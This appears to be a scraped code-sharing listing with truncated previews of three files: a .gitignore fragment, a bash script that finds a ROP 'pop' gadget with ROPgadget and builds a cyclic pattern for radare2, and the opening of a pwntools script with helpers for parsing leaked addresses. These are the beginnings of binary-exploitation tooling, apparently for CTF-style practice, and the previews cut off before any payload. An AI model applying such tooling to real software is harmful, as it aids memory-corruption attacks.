This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Prerequisites | |
*.d | |
# Compiled Object files | |
*.slo | |
*.lo | |
*.o | |
*.obj | |
# Precompiled Headers |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
line=$(ROPgadget --binary $1 | grep -x '.\{26\}' | grep -m 1 'pop') | |
echo $line | |
address=${line:0:10} | |
echo $address | |
ragg2 -P 200 -r > pattern.txt | |
echo "!/usr/bin/rarun2" > profile.rr2 | |
echo "stdin=./pattern.txt" >> profile.rr2 | |
exec 3>&1 1>r2log |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import sys | |
print("STARTING PYTHON SCRIPT") | |
def readleak(resp, start, end): | |
return u32(resp[start:end]) | |
def getAddStart(leak, find): | |
count = 0 | |
while (count < 50): |